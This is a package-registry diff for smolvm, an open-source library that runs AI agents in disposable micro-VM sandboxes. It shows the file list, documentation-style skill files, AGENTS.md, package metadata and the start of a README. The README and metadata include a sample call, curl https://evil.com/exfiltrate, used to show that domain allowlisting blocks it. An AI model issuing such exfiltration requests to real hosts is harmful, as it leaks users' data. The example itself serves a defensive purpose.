smolvm 0.0.7.dev0__tar.gz → 0.0.8.dev0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (124) hide show
  1. smolvm-0.0.8.dev0/.claude/skills/cli-docs-guidelines/SKILL.md +86 -0
  2. smolvm-0.0.8.dev0/.claude/skills/readme-guidelines/SKILL.md +71 -0
  3. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.gitignore +1 -0
  4. smolvm-0.0.8.dev0/AGENTS.md +25 -0
  5. smolvm-0.0.8.dev0/PKG-INFO +270 -0
  6. smolvm-0.0.8.dev0/README.md +208 -0
  7. smolvm-0.0.8.dev0/docs/concepts/network-egress-controls.md +78 -0
  8. smolvm-0.0.8.dev0/docs/deep-dive/filesystem-and-disk-images.md +97 -0
  9. smolvm-0.0.8.dev0/docs/deep-dive/optimization-plan.md +265 -0
  10. smolvm-0.0.8.dev0/docs/deep-dive/qemu-guest-networking.md +87 -0
  11. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/pyproject.toml +10 -0
  12. smolvm-0.0.8.dev0/scripts/benchmarks/bench_disk_materialization.py +270 -0
  13. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/__init__.py +10 -4
  14. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/api.py +26 -3
  15. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/boot_profiles.py +4 -4
  16. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/browser.py +3 -3
  17. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/build.py +13 -9
  18. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/cleanup.py +5 -4
  19. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/cli.py +292 -103
  20. smolvm-0.0.8.dev0/src/smolvm/cloud_init.py +120 -0
  21. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/dashboard/poller.py +2 -2
  22. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/dashboard/server.py +4 -4
  23. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/doctor.py +78 -9
  24. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/exceptions.py +0 -2
  25. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/facade.py +654 -101
  26. smolvm-0.0.8.dev0/src/smolvm/images.py +817 -0
  27. smolvm-0.0.8.dev0/src/smolvm/network.py +1733 -0
  28. smolvm-0.0.8.dev0/src/smolvm/qmp.py +280 -0
  29. smolvm-0.0.8.dev0/src/smolvm/runtime.py +130 -0
  30. smolvm-0.0.8.dev0/src/smolvm/runtime_firecracker.py +352 -0
  31. smolvm-0.0.8.dev0/src/smolvm/runtime_qemu.py +437 -0
  32. smolvm-0.0.8.dev0/src/smolvm/storage/__init__.py +128 -0
  33. smolvm-0.0.8.dev0/src/smolvm/storage/_base.py +110 -0
  34. smolvm-0.0.8.dev0/src/smolvm/storage/_postgres.py +795 -0
  35. smolvm-0.0.8.dev0/src/smolvm/storage/_protocol.py +184 -0
  36. smolvm-0.0.7.dev0/src/smolvm/storage.py → smolvm-0.0.8.dev0/src/smolvm/storage/_sqlite.py +256 -455
  37. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/types.py +137 -9
  38. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/utils.py +69 -21
  39. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/vm.py +1029 -312
  40. smolvm-0.0.8.dev0/tests/test_async_lifecycle.py +336 -0
  41. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_build.py +43 -0
  42. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_cleanup.py +4 -1
  43. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_cli.py +167 -19
  44. smolvm-0.0.8.dev0/tests/test_cloud_init.py +60 -0
  45. smolvm-0.0.8.dev0/tests/test_doctor.py +369 -0
  46. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_examples.py +6 -5
  47. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_facade.py +483 -148
  48. smolvm-0.0.8.dev0/tests/test_images.py +839 -0
  49. smolvm-0.0.8.dev0/tests/test_internet_settings.py +177 -0
  50. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_network.py +33 -28
  51. smolvm-0.0.8.dev0/tests/test_qmp.py +245 -0
  52. smolvm-0.0.8.dev0/tests/test_runtime_qemu.py +100 -0
  53. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_snapshot.py +81 -27
  54. smolvm-0.0.8.dev0/tests/test_snapshot_qemu.py +345 -0
  55. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_storage.py +103 -8
  56. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_types.py +20 -3
  57. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_utils.py +0 -26
  58. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_vm.py +3 -3
  59. smolvm-0.0.8.dev0/tests/test_vm_qemu.py +166 -0
  60. smolvm-0.0.7.dev0/AGENTS.md +0 -111
  61. smolvm-0.0.7.dev0/PKG-INFO +0 -216
  62. smolvm-0.0.7.dev0/README.md +0 -162
  63. smolvm-0.0.7.dev0/main.py +0 -26
  64. smolvm-0.0.7.dev0/play.ipynb +0 -189
  65. smolvm-0.0.7.dev0/src/smolvm/images.py +0 -293
  66. smolvm-0.0.7.dev0/src/smolvm/network.py +0 -863
  67. smolvm-0.0.7.dev0/tests/test_doctor.py +0 -175
  68. smolvm-0.0.7.dev0/tests/test_images.py +0 -342
  69. smolvm-0.0.7.dev0/tests/test_vm_qemu.py +0 -67
  70. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/ISSUE_TEMPLATE/bug_report.yml +0 -0
  71. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
  72. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/ISSUE_TEMPLATE/feature_request.yml +0 -0
  73. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/dependabot.yml +0 -0
  74. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/pull_request_template.md +0 -0
  75. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/workflows/publish-dashboard-ui.yml +0 -0
  76. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/workflows/publish.yml +0 -0
  77. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.github/workflows/pytest.yml +0 -0
  78. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/.pre-commit-config.yaml +0 -0
  79. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/CLAUDE.md +0 -0
  80. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/CODE_OF_CONDUCT.md +0 -0
  81. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/CONTRIBUTING.md +0 -0
  82. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/GEMINI.md +0 -0
  83. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/LICENSE +0 -0
  84. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/SECURITY.md +0 -0
  85. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/README.md +0 -0
  86. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/computer_use_browser.py +0 -0
  87. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/langchain_tool.py +0 -0
  88. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/openai_agents_tool.py +0 -0
  89. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/pydanticai_agent_browser.py +0 -0
  90. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/pydanticai_reusable_tool.py +0 -0
  91. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/agent_tools/pydanticai_tool.py +0 -0
  92. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/browser_session.py +0 -0
  93. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/env_injection.py +0 -0
  94. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/openclaw.py +0 -0
  95. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/examples/quickstart_sandbox.py +0 -0
  96. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/scripts/benchmarks/bench_subprocess.py +0 -0
  97. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/scripts/internal/configure-runtime-sudoers.sh +0 -0
  98. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/scripts/internal/image-build-loopfs.sh +0 -0
  99. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/scripts/internal/install-firecracker.sh +0 -0
  100. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/scripts/system-setup-macos.sh +0 -0
  101. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/scripts/system-setup.sh +0 -0
  102. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/_setup_assets/__init__.py +0 -0
  103. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/backends.py +0 -0
  104. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/cli_output.py +0 -0
  105. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/dashboard/__init__.py +0 -0
  106. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/dashboard/commands.py +0 -0
  107. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/dashboard/connection_manager.py +0 -0
  108. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/env.py +0 -0
  109. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/host.py +0 -0
  110. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/setup.py +0 -0
  111. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/src/smolvm/ssh.py +0 -0
  112. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/__init__.py +0 -0
  113. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/conftest.py +0 -0
  114. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_api.py +0 -0
  115. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_browser.py +0 -0
  116. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_computer_use_browser.py +0 -0
  117. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_dashboard_commands.py +0 -0
  118. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_dashboard_connection_manager.py +0 -0
  119. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_dashboard_server.py +0 -0
  120. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_env.py +0 -0
  121. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_host.py +0 -0
  122. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_pydanticai_agent_browser.py +0 -0
  123. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_setup.py +0 -0
  124. {smolvm-0.0.7.dev0 → smolvm-0.0.8.dev0}/tests/test_ssh.py +0 -0
@@ -0,0 +1,86 @@
1
+ ---
2
+ name: cli-docs-guidelines
3
+ description: Review or write CLI documentation. Enforces progressive disclosure, logical command ordering, and plain-language explanations. Use when asked to "write CLI docs", "document commands", "review CLI reference", or "update command docs".
4
+ argument-hint: <file-or-section>
5
+ metadata:
6
+ author: Celesto Team
7
+ version: "1.0.0"
8
+ ---
9
+
10
+ # CLI Documentation Guidelines
11
+
12
+ Review or write CLI docs following these principles. CLI docs serve two audiences: newcomers running their first command, and experienced users scanning for flags.
13
+
14
+ ## Core Principles
15
+
16
+ All README Guidelines apply here. In addition:
17
+
18
+ ### 1. Logical command ordering
19
+ Commands must appear in the order a user would run them. A command should never reference output or state from a command that appears later in the docs.
20
+
21
+ **Wrong** — `stop` appears before the user knows how to `list`:
22
+ ```bash
23
+ smolvm stop <vm_id>
24
+ smolvm list
25
+ ```
26
+
27
+ **Right** — create, inspect, then destroy:
28
+ ```bash
29
+ smolvm create --name my-sandbox
30
+ smolvm list
31
+ smolvm stop my-sandbox
32
+ ```
33
+
34
+ ### 2. Introduce a concept before its flags
35
+ Show the base command before showing any flags or subcommands. Each flag is a new concept — don't introduce two flags in the same example unless they always go together.
36
+
37
+ **Wrong** — `--os` and `--name` are both new:
38
+ ```bash
39
+ smolvm create --os debian --name my-debian-sandbox
40
+ ```
41
+
42
+ **Right** — `--name` first, then a separate example for `--os`:
43
+ ```bash
44
+ # Create a sandbox with a name
45
+ smolvm create --name my-sandbox
46
+
47
+ # Use a different OS image
48
+ smolvm create --os debian --name my-debian-sandbox
49
+ ```
50
+
51
+ ### 3. Show expected output after commands that produce it
52
+ When a command prints a value the user needs (an ID, a URL, a status), show it. The reader should never have to run the command to find out what it returns.
53
+
54
+ ```bash
55
+ smolvm browser start --live
56
+ # Session: sess_a1b2c3
57
+ # Live view: http://localhost:6080
58
+ ```
59
+
60
+ ### 4. One topic per section
61
+ Don't mix sandbox lifecycle commands with browser session commands in the same section. Each distinct workflow gets its own heading.
62
+
63
+ ### 5. Flags reference comes after prose explanation
64
+ Never lead with a flags table. Explain what the command does in plain language first, then list flags for readers who want to go deeper.
65
+
66
+ ## Review Checklist
67
+
68
+ - [ ] Commands appear in the order a user would run them
69
+ - [ ] Every placeholder (`<vm_id>`, `<session_id>`) is introduced by a prior command or clearly labelled as "output from the previous step"
70
+ - [ ] Each code block introduces at most one new flag or subcommand
71
+ - [ ] Commands that print useful output show that output as a comment
72
+ - [ ] Conceptually distinct workflows (e.g. sandbox vs. browser) are in separate sections
73
+ - [ ] Flags/options table, if present, appears after the prose description
74
+ - [ ] No jargon (SSH, TAP device, CIDR, firecracker, QEMU) without a plain-language explanation on first use
75
+
76
+ ## Output Format
77
+
78
+ For each violation found, output:
79
+
80
+ ```
81
+ Line <N>: [rule violated]
82
+ Current: <quote the problematic text>
83
+ Fix: <suggested rewrite>
84
+ ```
85
+
86
+ Then provide a revised version of any section that has more than one violation.
@@ -0,0 +1,71 @@
1
+ ---
2
+ name: readme-guidelines
3
+ description: Review or write README content for open-source projects. Enforces progressive disclosure, jargon-free language, and single-concept code examples. Use when asked to "write README", "review README", "update README", or "check docs".
4
+ argument-hint: <file-or-section>
5
+ metadata:
6
+ author: Celesto Team
7
+ version: "1.0.0"
8
+ ---
9
+
10
+ # README Guidelines
11
+
12
+ Review or write README content following these principles. The goal is easy onboarding for both newcomers and advanced users.
13
+
14
+ ## Core Principles
15
+
16
+ ### 1. Progressive disclosure of complexity
17
+ Structure content so readers can stop at any point and still have a working mental model. Each section should be usable on its own:
18
+ - Lead with the simplest outcome (one-liner, quickstart)
19
+ - Add detail in subsequent sections
20
+ - Advanced topics (integrations, internals, performance) come last
21
+ - Never require reading ahead to understand what's in front of you
22
+
23
+ ### 2. One concept per code example
24
+ Each code block should demonstrate exactly one idea. If a snippet requires the reader to understand two or more new things simultaneously, split it.
25
+
26
+ **Wrong** — introduces sandbox creation AND environment variables at the same time:
27
+ ```python
28
+ with SmolVM(env={"API_KEY": "secret"}) as vm:
29
+ vm.run("curl $API_KEY")
30
+ ```
31
+
32
+ **Right** — teaches sandbox creation first, env vars in a separate example:
33
+ ```python
34
+ with SmolVM() as vm:
35
+ vm.run("echo 'hello'")
36
+ ```
37
+
38
+ ### 3. Jargon-free language first, depth second
39
+ Explain every concept as if talking to a first-year CS student before using technical terms. Then go deeper if the reader needs it.
40
+
41
+ - Bad: "SSH host keys are accepted on first connection via TOFU"
42
+ - Good: "SmolVM automatically trusts new sandboxes on first connection to keep setup simple. (This is called trust-on-first-use, or TOFU — the same approach your browser uses for new websites.)"
43
+
44
+ ### 4. Introduce before you use
45
+ Never use a value, flag, or identifier in a code block without explaining where it comes from. If a command prints a `session_id`, show that command *before* any command that takes `session_id` as input.
46
+
47
+ ## Review Checklist
48
+
49
+ When reviewing a README, check each section against these rules:
50
+
51
+ - [ ] Tagline: does it describe a single, concrete outcome?
52
+ - [ ] Intro paragraph: can a newcomer understand it without prior context?
53
+ - [ ] Quickstart: does it follow install → configure → first run, in that order?
54
+ - [ ] Each code block: does it introduce exactly one new concept?
55
+ - [ ] Each new identifier (`<session_id>`, `<vm_id>`): is it introduced before it's used?
56
+ - [ ] Jargon: is every technical term explained in plain language on first use?
57
+ - [ ] Sections: does complexity increase monotonically top-to-bottom?
58
+ - [ ] Examples table: are entries grouped by audience (getting started vs. advanced)?
59
+ - [ ] Footer: does it duplicate links that already appear at the top?
60
+
61
+ ## Output Format
62
+
63
+ For each violation found, output:
64
+
65
+ ```
66
+ Line <N>: [rule violated]
67
+ Current: <quote the problematic text>
68
+ Fix: <suggested rewrite>
69
+ ```
70
+
71
+ Then provide a revised version of any section that has more than one violation.
@@ -212,3 +212,4 @@ pnpm-debug.log*
212
212
  ui/package-lock.json
213
213
  ui/node_modules/.package-lock.json
214
214
  artifacts/
215
+ play.ipynb
@@ -0,0 +1,25 @@
1
+ # SmolVM Context
2
+
3
+ SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches the host.
4
+
5
+ ## 🚀 Project Overview
6
+
7
+ SmolVM is specifically designed to provide a secure "sandbox" for AI agents to execute code, browse the web, or perform system-level tasks safely.
8
+
9
+
10
+ ## 🧪 Development
11
+
12
+ ### Key Commands
13
+ - **Testing:** `pytest` (runs the suite in `tests/`)
14
+ - **Linting & Formatting:** `uv run ruff check .` or `uv run ruff format .`
15
+
16
+ ### Core writing principles
17
+ - Follow progressive disclosure of complexity.
18
+ - Lead with outcomes, not implementation details.
19
+ - The first paragraph of every page must be plain English with no jargon.
20
+ - Assume the reader may be a beginner engineer or even a non-developer.
21
+ - Do not assume prior knowledge.
22
+ - Explain what the user can do and why it matters before explaining how it works.
23
+ - Do not introduce a new concept unless the page truly needs it.
24
+ - If you must use a technical term, explain it immediately in simple language.
25
+ - Prefer short, concrete sentences over dense explanations.
@@ -0,0 +1,270 @@
1
+ Metadata-Version: 2.4
2
+ Name: smolvm
3
+ Version: 0.0.8.dev0
4
+ Summary: Secure runtime for AI agents, and tools -- free and open-source from Celesto AI 🧡
5
+ Author-email: Celesto AI <hello@celesto.ai>
6
+ License-Expression: Apache-2.0
7
+ License-File: LICENSE
8
+ Classifier: Development Status :: 3 - Alpha
9
+ Classifier: Intended Audience :: Developers
10
+ Classifier: License :: OSI Approved :: Apache Software License
11
+ Classifier: Operating System :: MacOS :: MacOS X
12
+ Classifier: Operating System :: POSIX :: Linux
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Programming Language :: Python :: 3.10
15
+ Classifier: Programming Language :: Python :: 3.11
16
+ Classifier: Programming Language :: Python :: 3.12
17
+ Classifier: Programming Language :: Python :: 3.13
18
+ Classifier: Programming Language :: Python :: 3.14
19
+ Classifier: Topic :: System :: Emulators
20
+ Requires-Python: >=3.10
21
+ Requires-Dist: paramiko>=3.0
22
+ Requires-Dist: pycdlib>=1.14.0
23
+ Requires-Dist: pydantic>=2.0
24
+ Requires-Dist: requests-unixsocket>=0.3
25
+ Requires-Dist: requests>=2.28
26
+ Requires-Dist: rich>=13.0
27
+ Provides-Extra: all
28
+ Requires-Dist: fastapi>=0.115.0; extra == 'all'
29
+ Requires-Dist: langchain; extra == 'all'
30
+ Requires-Dist: langchain-openai; extra == 'all'
31
+ Requires-Dist: openai; extra == 'all'
32
+ Requires-Dist: openai-agents; extra == 'all'
33
+ Requires-Dist: playwright; extra == 'all'
34
+ Requires-Dist: pydantic-ai; extra == 'all'
35
+ Requires-Dist: uvicorn[standard]>=0.34.0; extra == 'all'
36
+ Requires-Dist: websockets>=14.0; extra == 'all'
37
+ Provides-Extra: dashboard
38
+ Requires-Dist: fastapi>=0.115.0; extra == 'dashboard'
39
+ Requires-Dist: uvicorn[standard]>=0.34.0; extra == 'dashboard'
40
+ Requires-Dist: websockets>=14.0; extra == 'dashboard'
41
+ Provides-Extra: dev
42
+ Requires-Dist: mypy>=1.0; extra == 'dev'
43
+ Requires-Dist: pre-commit>=4.2.0; extra == 'dev'
44
+ Requires-Dist: pytest-asyncio>=1.0; extra == 'dev'
45
+ Requires-Dist: pytest-cov>=4.0; extra == 'dev'
46
+ Requires-Dist: pytest>=7.0; extra == 'dev'
47
+ Requires-Dist: ruff>=0.15.0; extra == 'dev'
48
+ Provides-Extra: examples
49
+ Requires-Dist: langchain; extra == 'examples'
50
+ Requires-Dist: langchain-openai; extra == 'examples'
51
+ Requires-Dist: openai; extra == 'examples'
52
+ Requires-Dist: openai-agents; extra == 'examples'
53
+ Requires-Dist: playwright; extra == 'examples'
54
+ Requires-Dist: pydantic-ai; extra == 'examples'
55
+ Provides-Extra: postgres
56
+ Requires-Dist: psycopg-pool>=3.1; extra == 'postgres'
57
+ Requires-Dist: psycopg[binary]>=3.1; extra == 'postgres'
58
+ Provides-Extra: s3
59
+ Requires-Dist: boto3>=1.26; extra == 's3'
60
+ Requires-Dist: python-dotenv>=1.0; extra == 's3'
61
+ Description-Content-Type: text/markdown
62
+
63
+ <div align="center">
64
+
65
+ # SmolVM
66
+
67
+ #### Secure, isolated computers that AI agents can use to browse, run code, and get real work done.
68
+
69
+
70
+ <img src="https://ik.imagekit.io/gradsflow/celestoai/logo/celesto%20cover%20low_vFigbRaJI.png">
71
+
72
+ [![CodeQL](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql)
73
+ [![Run Tests](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml)
74
+ [![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)
75
+ [![Python 3.10+](https://img.shields.io/badge/python-3.10+-orange.svg)](https://www.python.org/downloads/)
76
+
77
+ [Quick start](#quickstart) • [Examples](#examples) • [Features](#features) • [Performance](#performance) • [Docs](https://docs.celesto.ai) • [Community Slack](https://join.slack.com/t/celestoai/shared_invite/zt-3qc7h8gno-Nb5_PElEWHDNnGqdVzC~4Q)
78
+
79
+ </div>
80
+
81
+ ---
82
+
83
+ SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches your host.
84
+
85
+
86
+ ## Features
87
+
88
+ - **Sub-second boot** — VMs ready in ~500 ms.
89
+ - **Hardware isolation** — Stronger security than containers.
90
+ - **Network controls** — Domain allowlists for egress filtering.
91
+ - **Browser sessions** — Full browser agents can see and control.
92
+ - **Snapshots** — Save and restore VM state instantly.
93
+ - **OpenClaw** — GUI Linux apps inside a sandbox.
94
+
95
+
96
+ ## Use cases
97
+
98
+ - **Run untrusted code safely.** Execute AI-generated code in an isolated sandbox instead of on your machine.
99
+ - **Give agents a browser.** Spin up a full browser session that agents can see and control in real time.
100
+ - **Keep state across turns.** Reuse the same sandbox throughout a multi-step workflow.
101
+
102
+
103
+ ## Quickstart
104
+
105
+ 1. Install the package.
106
+
107
+ ```bash
108
+ pip install smolvm
109
+ ```
110
+
111
+ 2. Run the one-time setup for your machine.
112
+
113
+ ```bash
114
+ smolvm setup
115
+ ```
116
+
117
+ Linux may prompt for `sudo` during setup so it can install host dependencies and configure runtime permissions.
118
+
119
+ 3. Check that the runtime is ready.
120
+
121
+ ```bash
122
+ smolvm doctor
123
+ ```
124
+
125
+ ### Start a sandbox in Python
126
+
127
+ ```python
128
+ from smolvm import SmolVM
129
+
130
+ with SmolVM() as vm:
131
+ result = vm.run("echo 'Hello from the sandbox!'")
132
+ print(result.stdout.strip())
133
+ ```
134
+
135
+ The `with` block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.
136
+
137
+
138
+ ### Start a sandbox from the CLI
139
+
140
+ Create a sandbox, check that it's running, then stop it:
141
+
142
+ ```bash
143
+ smolvm create --name my-sandbox
144
+ # my-sandbox running 172.16.0.2
145
+
146
+ smolvm list
147
+ # NAME STATUS IP
148
+ # my-sandbox running 172.16.0.2
149
+
150
+ smolvm stop my-sandbox
151
+ ```
152
+
153
+ Open a shell inside a running sandbox:
154
+
155
+ ```bash
156
+ smolvm ssh my-sandbox
157
+ ```
158
+
159
+
160
+ ## Browser sessions
161
+
162
+ SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.
163
+
164
+ Start a browser session with a live view you can watch in your own browser:
165
+
166
+ ```bash
167
+ smolvm browser start --live
168
+ # Session: sess_a1b2c3
169
+ # Live view: http://localhost:6080
170
+ ```
171
+
172
+ Open the URL to watch the browser in real time. When you're done, list and stop sessions:
173
+
174
+ ```bash
175
+ smolvm browser list
176
+ smolvm browser stop sess_a1b2c3
177
+ ```
178
+
179
+ See [examples/browser_session.py](examples/browser_session.py) for the Python equivalent.
180
+
181
+
182
+ ## Network controls
183
+
184
+ By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing `internet_settings`:
185
+
186
+ ```python
187
+ from smolvm import SmolVM
188
+
189
+ vm = SmolVM(internet_settings={
190
+ "allowed_domains": ["https://api.openai.com"],
191
+ })
192
+
193
+ vm.run("curl https://api.openai.com/v1/models") # allowed
194
+ vm.run("curl https://evil.com/exfiltrate") # blocked
195
+ ```
196
+
197
+ See [docs/concepts/network-egress-controls.md](docs/deep-dive/network-egress-controls.md) for how it works under the hood.
198
+
199
+
200
+ ## Examples
201
+
202
+ ### Getting started
203
+
204
+ | What you'll learn | Example |
205
+ | --- | --- |
206
+ | Run code in a sandbox | [quickstart_sandbox.py](examples/quickstart_sandbox.py) |
207
+ | Start a browser session | [browser_session.py](examples/browser_session.py) |
208
+ | Pass environment variables into a sandbox | [env_injection.py](examples/env_injection.py) |
209
+
210
+ ### Agent framework integrations
211
+
212
+ These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.
213
+
214
+ | Framework | Example |
215
+ | --- | --- |
216
+ | OpenAI Agents | [openai_agents_tool.py](examples/agent_tools/openai_agents_tool.py) |
217
+ | LangChain | [langchain_tool.py](examples/agent_tools/langchain_tool.py) |
218
+ | PydanticAI — shell tool | [pydanticai_tool.py](examples/agent_tools/pydanticai_tool.py) |
219
+ | PydanticAI — reusable sandbox across turns | [pydanticai_reusable_tool.py](examples/agent_tools/pydanticai_reusable_tool.py) |
220
+ | PydanticAI — browser automation | [pydanticai_agent_browser.py](examples/agent_tools/pydanticai_agent_browser.py) |
221
+ | Computer use (click and type) | [computer_use_browser.py](examples/agent_tools/computer_use_browser.py) |
222
+
223
+ ### Advanced
224
+
225
+ | What it does | Example |
226
+ | --- | --- |
227
+ | Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem | [openclaw.py](examples/openclaw.py) |
228
+
229
+ Each script shows its own `pip install ...` line when it needs extra packages.
230
+
231
+
232
+ ## Security
233
+
234
+ SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See [SECURITY.md](SECURITY.md) for the full policy and scope.
235
+
236
+
237
+ ## Performance
238
+
239
+ Median lifecycle timings on a standard Linux host:
240
+
241
+ | Phase | Time |
242
+ | --- | --- |
243
+ | Create + Start | ~572 ms |
244
+ | Ready to accept commands | ~2.1 s |
245
+ | Command execution | ~43 ms |
246
+ | Stop + Delete | ~751 ms |
247
+ | **Full lifecycle (boot, run, teardown)** | **~3.5 s** |
248
+
249
+ Run the benchmark yourself:
250
+
251
+ ```bash
252
+ python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v
253
+ ```
254
+
255
+ Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses [Firecracker](https://firecracker-microvm.github.io/), a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.
256
+
257
+
258
+ ## Contributing
259
+
260
+ See [CONTRIBUTING.md](CONTRIBUTING.md) to get started.
261
+
262
+
263
+ ## License
264
+
265
+ Apache 2.0 — see [LICENSE](LICENSE) for details.
266
+
267
+ ---
268
+ <div align="center">
269
+ Built with 🧡 in London by <a href="https://celesto.ai">Celesto AI</a>
270
+ </div>
@@ -0,0 +1,208 @@
1
+ <div align="center">
2
+
3
+ # SmolVM
4
+
5
+ #### Secure, isolated computers that AI agents can use to browse, run code, and get real work done.
6
+
7
+
8
+ <img src="https://ik.imagekit.io/gradsflow/celestoai/logo/celesto%20cover%20low_vFigbRaJI.png">
9
+
10
